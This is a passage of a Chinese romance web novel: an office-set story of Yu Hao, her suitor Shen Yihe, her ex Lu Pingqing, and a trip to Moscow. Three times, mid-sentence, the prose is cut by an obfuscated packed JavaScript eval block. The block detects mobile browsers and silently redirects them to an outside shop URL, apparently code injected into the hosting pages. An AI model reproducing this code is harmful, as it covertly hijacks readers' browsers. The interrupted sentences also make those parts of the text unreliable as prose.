字句间的礼貌和距离恰到好处,没给人丝毫压力。 对话在这里打住,谁都没有再硬找话题。 余好放松下来,难得的休息时间,一个人独处就已经够叫人心情好。 茶香淡雅,外头的夕阳缓缓垂落,余晖从外洒进来,右侧的观景窗台上,一盆紫色多肉被人孤零零遗落,小花盆里的泥土都已经干涸。 许是太角落,都没人注意到,没有水源的滋润,底下冒出的叶子已经干枯萎缩。 余好拿了一次性塑料杯接了点水,细致均匀洒在多肉盆栽里。 杨倩打着电话进来时,余好还低着头在观察发黑的叶子,她没养过植物,这会还真有点束手无策。 杨倩大概是没注意到余好,一边跟电话里那人说话一边接水。 “好了,我知道,说来说去不就那些话吗,不要吃便餐,不要熬夜,林大厨,你真像个复读机你知道吗?” “请假?这个月肯定是不行的,连上司都加班,我们组现在谁不是如履薄冰,哪敢提这事啊。” “我保证,元旦如果能请到假,我肯定来惠城见你好不好,给你补过生日啊,不然你又说我不把你当回事。” 通话到这里结束,杨倩接完水要出去时才看见余好,她明显愣了一下,脸上略带甜蜜的笑容都还没来得及收住。 杨倩有些不自在了,这种偏私密的对话让同事听见,实在太尴尬。 余好回以一个浅浅的微笑,随意问她:“是男朋友吗?” 杨倩感觉余好并没有其他同事那样对别人私事过分探究的行为,摇摇头,半是抱怨半是实话: “什么男朋友啊,我们都结婚两年了,不过他在惠城,一千多公里啊,一年到头见个面都要数着日子来。” 余好:“你们为什么不在一个城市发展?” “职业规划不一样嘛,你也是从面试过来的,知道正宸这样的公司多难进,我既然来了,怎么可能说走就走。 他,也是同样的,在惠城的大饭店工作,已经是厨师长的职位,老板是他十几年的朋友,新员工还不足以应付,哪有那么容易抛下所有过来找我。 不过我们说好了,等再过个一两年,他朋友那边解决了,就来榕城盘家店开餐馆。” 话头顿在这里,杨倩看见她身旁那盆多肉,“你浇的水啊?” 余好嗯了声:“我也是今天才发现的,好像很久没人管了,怕它活不了顺手浇点水。你养过吗?这旁边的枯叶是不是要除掉才好?” “最好还是弄掉,不然会抢养分。”杨倩说。 余好觉得有道理,轻轻扯下几片枯黄的叶子,端起小花盆看了看,才把多肉调了位置,放在显眼的地方。 大概是小插曲让人莫名有了亲近感,杨倩没着急走,问她:“感觉正宸怎么样,还适应吗?” “除了偶尔去苏首席办公室会有点没底气之外,都挺好的。” 她喜欢正宸的工作氛围,没有强制加班的要求,但大家每天都拿出最饱满的精神去完成同个目标,一进公司就会有朝气蓬勃的感觉。 从宜安回来后,整个德语区都为贸贞那批诗歌书做准备,首席们精益求精不放过任何细节,开会家常便饭,手下的助理自然也不敢松懈。 就一上午的功夫,余好某篇诗歌翻译被苏簌否了不下五个版本。 她绝望得快要怀疑自己,偏偏苏簌拍着她的肩说:“这些版本当然都还不错,但以你的能力,能译得更简辟,你再去找找感觉。” 比被上司指责工作一团糟更让人绷紧神经的事情,是她相信你能做得更好。 这意味着,交上去的东西不允许再与之前的内容站在同一水平线,否则会有消极怠工的嫌疑。 杨倩从前也在苏簌手底下做过事,对苏簌的专业能力自然是毫不质疑的:“苏首席是会看得细一点,但她从不为难人。” 余好点点头,表示中肯。 “今晚去KTV吗?易柬组了局请客去唱歌,说周末大家放松一下,都是同事。” 这是十足诚心的邀请了,但—— “我晚上跟朋友约好了去看脱口秀,大概没办法。”余好语气里有点歉意。 杨倩有点不可思议,笑问:“跟男朋友啊?” 余好实话实话说:“算不上,只是还在接触。” “这样啊,”杨倩了然于心,笑说:“那祝你今晚有个完美的约会。” “谢谢。” * 下午六点三十四分。 陆凭青结束工作从办公室出来,长腿迈的步子稍快,接连打了一下午的视频会议,眉眼间略显倦意。 走廊处好几个员工围在一起等电梯,低声讨论着工作之外的事情。 看见他来了,齐齐问好叫他陆首席。 陆凭青淡然点头。 他疏离的态度,不同于其他几个首席翻译,员工私底下也不敢说太多话的,打完招呼就又紧接着又开始继续先前未说完的话题。 “我刚刚下去送客人的时候看见C组的余助理了,在公司楼下跟一个长得挺帅的男人说话,两个人还挺配的。” “上次跟苏首席一起去出差那个?” “是啊,就不怎么说话,但是跟谁都能聊几句,找她帮忙都不推脱的新员工,那男人开的还是宝马新款欸,少说得五十万起步吧。” “哪有那么便宜,我上个月才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690558|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去4S店看过,市场价都接近八十万了。” “不过说真的,真羡慕这种人,下班还有有钱又帅的伴侣接。啧啧,那男人的气质太好了,是那种单单站在路边,就有人要微信的感觉。” 陆凭青一字不落听入耳,听得牙根有点发酸。 他沉着一张脸进了电梯,司幸来又发消息问他去不去喝一杯。 这人问了一天了,找不到地方消遣就想着法邀陆凭青,司幸来那些下班后的娱乐项目,他没一个感兴趣的。 原本要冷处理的,车子开到十字路口,他看见街角处,余好进了一辆灰色小车。 等绿灯的间隙,司幸来发来地址: 【定位—榕城市小十字112号曜酒清吧】 【来不来?你不来,我再玩一会就转下一场局了】 陆凭青点进地图,发现那地方只隔粤江湖一条街的距离。 陆凭青回他:【半小时到】 司幸来顺竿子往上爬: 【哟,以前千求万求都不来,今天是受什么刺激了?】 陆凭青没回他。 司幸来:【得,开不起玩笑,我在二楼,218,刚刚一个服务员笨手笨脚倒了我一身红酒,我让阿金去给我买衣服了,你上来的时候帮我拿一下】 惯来养尊处优的大少爷让人帮忙也是自然而然的。 陆凭青开去清吧用了二十几分钟,阿金带他上楼,司幸来穿着红酒浸湿的衬衫坐在沙发上,抽着一支烟。 他长腿搁在桌子上,眼睛微微眯着,昏暗中看见陆凭青。 “来了啊,还挺快的。” 司幸来起身掐烟,陆凭青把白枳灯打开,明晃晃照着整个房间。 “你开我灯干吗?”司幸来皱了下眉。 “不习惯这么黑,”陆凭青把衣服扔到司幸来手边。 “少抽点烟。” 司幸来倒了杯酒推到陆凭青面前:“你陆首席还有关心人的时候,稀奇。” “比不上你司大少会关心人。” 陆凭青存了揶揄人的心,话里有话。 司幸来前些日子谈了场恋爱,对那女孩百依百顺,对方生病他还特意学了煲粥,结果连人带粥一起被拒之门外。 这事陆凭青见证全程。 想到那女孩,司幸来脸都绿了,闷头喝了一杯酒,语气多了几分寂寥,“再关心不也没用吗。” “她跟别人在一起了?” “那倒没有,只是不见我了,上次那误会我怎么解释她都不听。” “去找她说清楚,你司幸来缠人的能力连争取几句解释的机会都没有?” “我没理由去见她,也不是,我是不知道该怎么说她才信,算了,过段时间再说吧,等她气消……” 司幸来烦躁揉了把头发,又猛的灌下一杯。 “那时候可能就没机会了,有些事最怕的就是等。” 喝到一半,他抬头看陆凭青,“怎么觉得你这话里有话?她就算跟别人在一起,我抢过来不行吗?” “没那么简单,不会所有事情都如你所愿,等那时候,就算你紧抓着不放,她也不一定会看你一眼。” 司幸来眉头皱得很深,思索了一会,榕城,南临一中。 一个惊人的联想在他脑海一闪而过,司幸来愣了一下,说: “你说的那人,不会是余好吧?” 致使陆凭青几年不见不肯回南城的初恋,那个司幸来只听陆凭青提过寥寥几句的人。 陆凭青垂眸没说话。 司幸来一想也是,自己到底怎么想的,能扯到那里去。 接近半分钟的静默,他听见陆凭青冷。清冷的嗓音响起: “是她。” 11. -11- 一场脱口秀看得津津有味,余好和沈亦荷从剧场出来的时候,外面的天已经黑透了。 12月底的榕城,夜晚的寒冷不比南临差,空气里的寒冷只会有过之而无不及。 蓉城这座城市人口密集,大约也是赶上星期五的缘故,傍晚八点多就已经人来人往。 在大多数人眼里,榕城是一个高速发展的快节奏城市。 它有数不清的高楼大厦,早起的地铁里,每个人都看着手表,掐着时间,不浪费一分一秒。 余好一直觉得,尽管是这样的城市,也会有格外吸引人的可爱地方。 就好比没来过粤江湖的人,他们一定不会知道,蓉城还会有这么市井气的一面。 粤江湖属于市区边缘,因为一片清澈见底的蓝色小湖泊得名,这里也叫粤江广场。 小吃摊铺从头摆到尾,从炸串鱿鱼到香辣卤煮,不落下一样当下时兴的。 烟火气处处笼罩着,吸引路过的人。 时间不算太晚,余好和沈亦荷都有意散散步。 两个人沿着街边走,热闹的喧嚣声不绝于耳,车水马龙,川流不息。 这里和加班时看到的夜晚是不一样的。 同一座城市,却有这么不同的两面。 CBD就是这一点不好,无论什么时候从写字楼往外看,入眼的都是冷漠的高楼。 从早到晚,仿佛24个小时随时为工作待命。 年轻人不需要社交,不需要自己的私人生活,这是被默认的,是社会的通病。 “我还不知道榕城有这样的地方。”余好看着四周,感慨地说。 “其实我也很少来这边,如果不是朋友送的那两张票,大概没理由约你出来散步,说起来,还要谢谢我的朋友。” 余好听沈亦荷这么说,觉得有点好笑:“散步还需要什么理由,大家都不忙的话,你发条消息给我,我肯定随时赴约的,朋友之间哪有那么多顾虑。” 这几个月以来余好和沈亦荷断断续续的吃过几次饭。 两个人每次的相处也都很愉快,沈亦荷就是那样的性格,不管是面对什么场面都能够很体面的去解决任何问题。 他的关心也不会让人觉得逾矩。 随手发在朋友圈里抱怨自己每次去酥禾坊都买不到黄油饼干的动态被他点赞后,隔天余好就能收到沈亦荷送来的好几份不同口味点心。 她提着一大袋东西道谢,对方轻描淡写说是顺路。 余好隐约察觉到沈亦荷有跟自己交往的意向,可是他没有点破,她也识趣的闭口不谈。 她觉得自己如果再恋爱,一定不要像前两次那样,一次是仓促的结束,一次是还没来得及熟悉,就切入正题。 “余好,我觉得你应该是误会我的意思了,我说的不是普通朋友那样,”沈亦荷放缓脚步,突然抬眼,郑重其事看她。 “我希望你能把我当成发展对象相处。” 余好有些不知道该怎么接话,只能干巴巴说: “沈律师,其实现在这个阶段我还并没有很想结婚。因为有些事情连我自己都没想清楚,我怕如果一个决定做的太快,到时候适得其反,会让双方都难堪。 如果你着急成家或者觉得我耽误你时间,你完全可以和别人尝试发展的。” “我说这些不是想给你压力,只是希望我们之间不要有什么误会,因为我并不是只想跟你做朋友。” 余好被沈亦荷这样少有的眼神直白盯着,她哑然片刻。 他却步步紧逼:“如果你不讨厌我,就不要拒绝我。” 这算告白,又不算。 总之在这个时候提起,对余好来说,多少是有点不合时宜的。 她当然是不讨厌沈亦荷的,但是这能算得上什么? 和一个人在一起,只需要不讨厌就够了吗? 这些话余好当然是问不出口的,她张着嘴,又发现没什么好说的,只能尴尬的扯扯嘴角:“我不一定能给你想要的。” “没关系,这世界上有些事情也不过是求仁得仁。哪怕你拒绝我,也应该是我的问题,不是你的问题。” 余好别过脸,不敢与他对视,面对对方如此真诚的时刻,她没办法拿出百分百同样的诚意,此刻只剩心虚。 “不嘛不嘛,我就要吃那个!”稚嫩的声音响起。 一个小男孩牵着年迈老人的手往冰淇淋推车走,小手指着广告小牌子上的图片又蹦又闹。 是一款三色冰淇淋球。 “家里吃饭的时候你不吃,一出来就闹着要吃这些东西,你再这样以后都不带你出来了,赶紧给我回去。”老人扯了一把孙子。 小孩见状,抱着小推车的桌角死死不松手。 余好和沈亦荷相视一笑,两个人之间的氛围比刚才缓和了很多。 “不早了,我们回去吧。”余好怕再这样走下去,沈亦荷还会说出什么更语出惊人的话。 好在沈亦荷完全跟着她的节奏,点点头,同她一起往回走。 · 深夜的粤江湖,人是很多的。 陆凭青就站在河堤的栏杆前,挺安静的一处,再往前走几十米就是大剧场。 手指间夹着一根烟,陆凭青也说不清自己为什么就这么莫名其妙来了。 掐着时间来的,那次的匆匆一瞥,他记住了脱口秀的时间,但他来的不是时候,走到这里,脱口秀已经结束了挺久。 他不知道自己是想看到什么,又或者是只是潜意识想让自己彻底死心。 劝别人不要抽烟,他自己今晚却抽的很猛。 最开始站在广场显眼处,行人络绎不绝,从他面前走过,也偶尔有二十出头的小女孩,被朋友推搡着过来问他要联系方式。 他都拒绝了,避免被叨扰,才走到阴影处。 所里还有很多工作任务没做完,往常这个时候他已经在家里客厅开始办公。 今晚他居然自虐似的吹着冷风,在这里等一个死心的时刻。 大概等不到了。 陆凭青看了一眼手表,想着最后抽完这支烟就回去。 风吹过来的时候,树叶也被吹得刷刷作响。 他抬头看了看天空,薄云被吹得很散,有一轮明月高高的挂在深蓝之中。 从来没有注意到,原来蓉城的冬天也是会冷的。 抬手将烟蒂在垃圾箱上拧灭,陆凭青准备离开,一转身却看见不远处走过来的两个人。 于是他的脚步停滞于此。 看着余好唇瓣一张一合跟旁边穿衬衫西裤的高大男人说着什么,她的表情很放松,眉眼淡淡的弯起来,跟在公司遇见自己的时候,总归是不一样的。 也不知道是踩到哪个地方,余好的高跟鞋踩在凹凸不平的地砖,她有些不好意思看看旁边的人。 那个男人说了一句什么话,便蹲下身单手将鞋拔出,余好搭着男人的手臂,任他为她穿上鞋。 这一幕简直太过于刺眼,胸腔里仿佛有什么东西要喷薄而出,从未有过的感觉,像是扼住了他的喉咙,陆凭青看得眼睛有点干涩,他一言不发往转身。 是不该来的,在看到这一幕之前,他还觉得或许两个人只是普通的朋友。 陆凭青不由唾弃自己的自作多情,明明已经见识余好的绝情,他却还抱有一丝希翼。 实在是太可笑。 * 又是一个加班的晚上,余好盯着电脑里的一项项数据。 不敢放过任何一个细节,格子间里的同事都走得差不多了。 畅销书数据要的急,苏簌又不在榕城,其他同事分身乏术,她自愿留下加班,没想到在公司一待就是好几个小时。 终于检查完最后一页,整理成文档发给苏簌,对方的电话紧跟着打进来。 “余助理,你现在还在公司是吗?” 余好一边关电脑一边说:“是的,苏首席,我现在正准备回去。” “这样,耽误你一会,你先别急着走,去A组找陈臻拿个U盘,明天早上寄给我,他现在应该还在办公室。” “好,我现在就去。” 余好收拾好东西,往A组那边走。 她是不常来这边的,如果不是需要找陈臻,余好一般都尽量避开。 毕竟在陆凭青眼皮子底下晃来晃去,这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690559|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情实在太尴尬。 A组果然跟他们说的一样,加班是家常便饭的事情。 别的组员工都已经下班回家,A组却有好几个助理都在做事。 杨倩看见余好,惊讶的问她怎么来了。 “我来找陈助理拿个u盘,苏首席说她开会急用,让我明天寄过去。” “陈助理啊,我刚刚还看见他的,好像去陆首席的办公室了。” 杨倩说完,余好心里咯噔一下,看来今天不得不面对了。 办公室的门是开着的,里面的灯也开着,明晃晃的。 余好抬手敲了敲门,坐在办公桌前的男人专心致志看着电脑,视线都没往门口挪一下:“进。” 陈助理就在陆凭青身边站着汇报工作进程。 余好走进去,轻声打招呼:“陆首席,陈助理。” 陆凭青听见这声音,终于抬起眼眸,看着门口的人,淡声问:“什么事?” “苏首席让我过来找陈助理拿个东西,因为明天就要寄过去,所以才过来打扰你们。” 陈助理一拍脑袋,这才想起来:“噢,是关于简澳的往期合作资料对吧,苏首席早上的时候跟我说过,我一忙给忘了,之前那个u盘早就已经坏掉了,不过资料我还是保存的,但是需要去一楼的文档室重新上传,内容挺多的,可能要耽误你下班了。” “没关系,你把文档室的钥匙给我,我自己去下载,就不麻烦你了。” “这有什么麻烦不麻烦的,你对文档室又不熟,还是我去吧,对了,你吃东西了吗?陆首席还没吃晚饭,如果你也没吃的话,我正好替你也带一份上来,上次不是说过要请你吃饭吗?这盒饭也算饭是吧。” 话说到这个份上,也没有拒绝的理由。 余好也确实还没吃晚饭,人哪有跟饭过不去的。 她笑笑:“那就谢谢陈助理的招待了。” 陈助理挥一挥手,出了办公室。 偌大的空间现在只剩下两个人,余好顿时不知道自己该留在这里,还是出去等。 陆凭青眼都没抬,就已经知道她在想什么,开口道:“随便坐。” 这下彻底没有出去的理由,她坐在沙发上拘谨的观察着这个办公室。 放满文件的书架,展示柜里有几尊立着的玉麒麟,整个办公室风格简约大气。 目光不知不觉就飘到陆凭青身上,他正襟危坐,修长的手指在键盘上敲动。 余好看着他那双手,想起他的手腕内侧有一个红色的痣。 哪一只手来着?左手还是右手? 还没来得及回忆清楚,键盘打字的声音戛然而止。 余好慢半拍抬起眼,发现他正看着自己。 凛然幽深的眸色,像是把一切看透。 “你好,你们点的便餐到了。”有人提着两份盒饭进来。 是一个外卖小哥,穿着楼下饭店的专属工作服。 他把东西放在桌上就走了。 食物的香气隐隐约约从袋子里飘散出来。 余好咽了咽口水,问陆凭青:“陆首席,你不吃饭吗?” 他不过来,自己也不好意思先吃。 说到底他还是她的上司,余好没有那么大的胆子,让一个上级看着她吃东西。 陆凭青看着文档最后几句未翻译的句子,头一次摒弃完美主义做派,合上电脑起身。 他在余好对面的沙发坐下。 两份盒饭是不同的口味,一份色彩搭配舒服的青椒肉丝,一份香煸回锅肉。 余好本想随便拿一盒离自己最近的盒饭,却没想到陆凭青那么自然的就把她面前那份青椒肉丝端走了。 余好愣了一下。 她从前是不吃青椒的,跟陆凭青在一起的时候特别娇气,遇到有青椒的菜,她都会一点一点挑出来。 后来工作之后,不知道从什么时候开始又觉得其实也还不错。 陆凭青刚刚那个举动,让余好在此刻分析出数种意思。 她不知道陆凭青是还记得自己不吃青椒,所以条件反射的做出下意识的动作。 又或者只是今天他恰好想吃这个? 12. -12- 陆凭青自然是不知道余好此刻的头脑风暴,慢条斯理吃着盒饭。 他吃饭的时候也是很细致的,陆凭青做每一件事情都认真专注,连盒饭都能吃到一粒米不剩。 回锅肉的味道很好,哪怕味道有些辣。 陈臻上来送U盘的时候,余好刚好吃完最后一口饭。 拿到需要的东西,余好正要打开约车软件,就听见陆凭青说:“今天先到这里,陈助理,你去告诉其他助理早点回家。” 陈臻领了任务出去了,余好也收起工作牌往电梯口走。 深夜打车艰难,在门口吹了一阵的冷风,余好终于打到一辆车,那司机刚停在她面前就狮子大开口加价。 就吃准了附近车源少,似乎一定要敲到这笔钱才甘心。 刚发工资没几天,余好大部分积蓄都存了定期,准备攒个几年买套小房子的。 拥有一个自己的窝,余好的人生终极目标。 为这她从小就开始筹谋了,现在越到月底越是捉襟见肘,更何况这样的情况,余好一向是不惯着的。 哪有说好的事情临时变卦,当她的钱是大风刮来的。 她就不坐,省得让这类司机得逞。 “算了,我不坐了,你走吧。”余好挥挥手跟司机说。 “多加20总行了吧,你这里弯弯绕绕的也不好打车,你就当给我个辛苦费。”中年司机像是缠上她一样,叽里咕噜非要她上车。 余好不愿意做这个冤大头,二话不说埋着头往前走。 谁知道那个司机也一路跟过来,车速开得很慢,就在她旁边开开停停的。 余好拿着手机都想报警了,可是下一秒,后面有人按了喇叭。 司机才骂骂咧咧的开走。 “余好。”清冽的声音从空气传来,余好回过头,看见陆凭青坐在车里,眉头微皱。 “我送你回去。”光线交错中,他说。 · 余好坐进车里才觉得暖和了一点,里面开着的空调温度刚好合适。 “不好意思,这么晚还麻烦你。” 这话说的官方疏离,像是两个人原本就是这样的上下级关系。 陆凭青觉得自己肯定是疯了,才会叫她上车。 明明都已经决定好,不再管她的任何事,但看见她为了省钱倔强往前走,他还是鬼使神差的叫住她。 “真觉得不好意思,下次就多穿点,榕城不比南临,这里的冬天冷起来是毫无征兆的,气温骤降也不是什么怪事。” 这熟悉的语气,提醒中带着点责怪。 就好像高中时,余好坐在陆凭青旁边,无数次听他讲数学题那样。 尽管她有时候脑子真的转不过弯,没办法那么快理解他话里的意思,陆凭青越讲越无奈:“余好,你每天除了漫画和偶像剧能不能想点学习的事。” 想到那个画面,余好就觉得有点好笑。 陆凭青在别人面前永远都是从容的样子,唯独自己次次把他逼到暴躁边缘。 说起来她真是不是一个省心的学生。 阿嚏—— 余好打了个喷嚏,也不知道是不是刚刚风吹得她已经有些着凉了。 声音闷闷地问陆凭青:“好像有点渴,车里有水吗?” “前面抽屉里有矿泉水,往下拉就能打开。” 陆凭青专心看着路况,意识到不对的时候已经晚了。 因为余好正怔怔的看着里面的东西,那抽屉里杂七杂八的,全是他们爱过的痕迹。 已经泛黄了的拍立得照片,是她非要拉着他去拍的大头照。 她用过的头绳,粉色的小小蝴蝶结款式。 还有上次,她想看但是没来得及看清楚的陶瓷小猫。 就在余好不知道该说什么的时候,陆凭青已经从里面抽出一瓶矿泉水,然后毫不犹豫关上了。 “……陆凭青。”她喃喃叫他名字。 陆凭青深吸一口气,不去看她:“只是忘了扔。” 拙劣的借口,他自己听着都觉得可笑。 油门踩到底,陆凭青把车开到跃进小区门口。 “到了。”他冷声说。 明显是不想对刚刚那件事做出任何解释。 余好没有装傻,也没有下车,她安安静静的坐在副驾驶上,沉默着。 陆凭青也不再开口了。 刚刚之前,余好一直不知道自己这些年到底在执着什么,好像在此刻才终于想通。 那些不愿意退让的时刻,是她突然会想到,假以时日,如果还有机会的话,陆凭青还会不会再回到她身边。 所以,此时此刻,两个人都沉默的时候,余好小心翼翼问他: “陆凭青,你是不是,还没放下我?” 他看她,这个连路灯都没有的老小区里面,他只能借着薄薄的月光看她。 她那双眼睛里终于显现出从前常有的执拗,那一刻,陆凭青恍惚了。 他觉得一切好像都没变。 可是下一秒就想到余好和那个男人相视而笑的画面,他咬牙冷笑一声。 自嘲勾起唇角,“余助理,我不知道到底是什么让你有这种错觉,但这些东西确实是我忘了扔。” “陆凭青,关于当年的事情,我可以解释,我确实不该那么草率,但……我们都不要说谎好吗?” “当年的事?”他眯了眯眼睛,咬文嚼字笑道,“劳烦你还记得那些陈年旧事。” “你果然还是跟从前一样,觉得任何事情都可以由你操控,把人玩的团团转的感觉好受吗?”他从盒子里拿出所有东西,一样一样扔在她面前,“我说了这些东西只是忘了扔,如果你想要的话,大可以拿走,或者——” “替我扔掉。” 余好忍住鼻尖泛酸的感觉,牵强扯出一个笑:“是我多想了。” 她匆匆打开车门,很快消失在夜色中。 陆凭青看着副驾驶座上那些东西,一张一张捡起曾经拍下的大头贴,最后视线落在她揪着他的耳朵,得意洋洋笑着的那张,泛红了眼眶。 她问出那句话的意思,是想告诉他她已经结婚了还是只是想讽刺他? 他不得而知。 只害怕亲耳听见她说,她心底有另一个人。 * 晨曦升起第一缕阳光,余好敲门走进苏簌的办公室。 她为苏簌递上一杯浓缩热咖啡。 “苏首席,找我有什么事吗?” “关于早会说的自闭症儿童心理学项目,你觉得市场需求大吗?或者说这个项目有没有做的必要?” 猝不及防的问题,余好没有自乱阵脚,认真想了想,按照自己理解如实说:“我觉是有需求的,而且还不小。” 苏簌挑挑眉,含笑示意她继续说下去。 “我从前看过一些关于特殊儿童的纪录片,里面有提到过这一儿童群体规模超千万,如果书籍内容能够做到知识专业且疏导儿童心理问题技巧实用,那么我认为这个项目的可行性和市场前景会很不错。” “确实,”苏簌满意一笑,“公司最近在接触莫斯科的特殊儿童读物,专供患有自闭症的学龄前儿童阅读,但此前就单说国内,这类型的书籍都不算多,更别说国外读物,对译者的专业性和市场都有很大要求,这实在不是一个好实践的项目。” 余好旁听早会也有一段时间了,她结合之前那些项目的经验总结,大概阐述了一下自己的观点:“我觉得这个项目想要做下去,其实也不是没有办法。可以成立一个翻译小组,选择能力出众的组员针对这一类的书籍专人专译。这样出了问题也好纠错,而且术业有专攻,一定有人在这一方面会发挥得更好。” 看苏簌没有说话,余好以为自己说错话了:“当然,我说这些都只是我个人的想法而已,可能还不太成熟。苏首席,你要是觉得我说的不对,听听就好了。” “不,我觉得你的建议挺好的,之前去别的翻译公司参观,我记得有公司为了教研类题材的书籍专门成立了翻译小组,这样还大幅度提升效率。” 苏簌在电脑上搜出最近航班,然后说,“这样,你今天回去收拾一下,明天跟陆首席他们组一起去莫斯科,大概半个月的时间,把需要的个人物品带好。” “莫斯科?”余好错愕不已。 “对,我们跟那边的公司有合作项目,你正好过去学习一下,这次我有事,不能带你,有什么事情跟陆首席反馈就好。” 看余好似乎有话要说的样子,苏簌主动问道:“还有什么事吗?” 想到那天晚上,陆凭青说的那番话,余好是怎么也不想再见到他的。 可是眼下只是工作上的事情,如果她拒绝了,反而说不过去,大不了到时候尽量避免和他单独相处。 “没有,只是觉得有点突然。” “这一行是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690560|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,说不定上周还在南半球,下周就去北半球了。”苏簌开着玩笑,“莫斯科的教堂挺有意思的,到时候可以抽时间去看看,还有……” 后面的话,余好已经听得不太真切了,一整天都有点都失魂落魄。 邻桌的同事赵琴晚临近下班的时候问余好如果方便,可不可以帮她带点东西。 这话一说出来,大家都拥过来七嘴八舌的问能不能替他们也买点。 不过一个小时的时间,余好的桌子上已经有了好几张代购清单。 索性都是一些吃的东西,买起来应该也很方便。 “为什么不拒绝?”人群散去之后,乔柏拙问她。 “同事之间的,拒绝了之后多少会有点不太好吧。” “他们都没觉得这样理所当然让你带东西不好,你为什么要换位思考,莫斯科现在天气很冷,工作完之后,你还要苦兮兮为他们买东西。” 自从上次余好帮乔柏拙翻译合同之后,他有时也会和她聊几句工作之外的事情。 余好说了句没事后继续准备手头工作交接的事情。 落地莫斯科机场,天刚朦朦亮。 一切都是那么的不真实,几十个小时的旅途,他们还特别运气不好的碰到比较恶劣的天气,机身抖得她都有点晕机了。 乔柏拙说的没错,这里果然不是一般的冷。 凉风嗖嗖的刮过来,跟刀子似的割在脸上,尽管她穿了件大衣,仍旧觉得毫无用处。 之前约好的车在路上出了点状况,说是半路抛锚了,现在正在处理。 一行人也就只能站在机场外面等待,陆凭青让陈臻买了饮品分给大家。 余好站在最右侧双手合十哈气,她这个人一向是怕冷又怕热的,特别是这样的天气,最容易让余好有种恨不得冬季消失的感觉。 “喝杯热可可,会好一点。”陈臻从旁边递上一杯饮品给她。 余好道谢接过,滚烫的温度,让失温的双手渐渐有了感知。 她捧着一杯热可可,站在屋檐下,小口小口的啜饮着。 甜度稍微有点高了,入口丝滑,微苦。 但不得不承认,这杯热巧克力在此刻是一件多么珍贵的东西。 因为晕机的问题,余好在飞机上没怎么吃东西,这会干等在外面觉得顿时饿了。 跟陈臻说了声想去机场二楼的便利店买点东西填肚子。 “你认得路吗?别到时候找不到出口,不然我陪你去。” “没事,不是还有导航吗?”余好扬了扬手里的电话。 挺大一个机场,余好在便利店里挑的眼花缭乱,想到同行的几位助理,觉得自己吃独食似乎也不太好,挑挑拣拣,装了半个购物篮。 准备付款的时候却发现手机没电了,充电器在行李箱里,总不至于这个时候回去拿。 用俄语跟服务员沟通半天才借到充电宝。 她等在柜台看电标,也不知道是电源接触不良,还是怎么回事,充电的速度特别慢。 乌龟爬一样,看得余好都快没耐心了。 “余好。”陆凭青的声音从身后响起,他的呼吸有些沉重。 “……你怎么来了?”她现在连陆首席的称呼都摒弃了。 “接驳车到了,打你电话为什么不接。” “我的手机没电了。”余好有点不好意思。 “这些,多少钱?”陆凭青用俄语跟服务员沟通,沉稳的声音让人一下就安心了。 他从钱包里拿出卡结了帐。 拎过那袋东西走出便利店,余好愣了一秒,才跟上。 “之后的工作过程中,不要擅自离开我的视线。” “我没有擅自离开,我跟陈助理讲过的,他……” “余好,国外不比国内,凡事谨慎一点最好。” 余好这才反应过来,“对不起,我刚刚应该跟你说一声的。” 陆凭青看着余好因为冷风而被吹得有点泛红的鼻尖,再难堪的话,他也说不出来了。 * 这次要合作的公司,是莫斯科本地的一家图书公司。 离他们住的酒店有点远,又因为最近恶劣天气,暴雪下得封了路。 大家只能暂时住在酒店里。 窗外从早到晚都是雾蒙蒙的灰色,有大片大片的雪花落下,站在窗前往下看,是白茫茫的一片,这样的大雪,余好还是前所未有的见识到。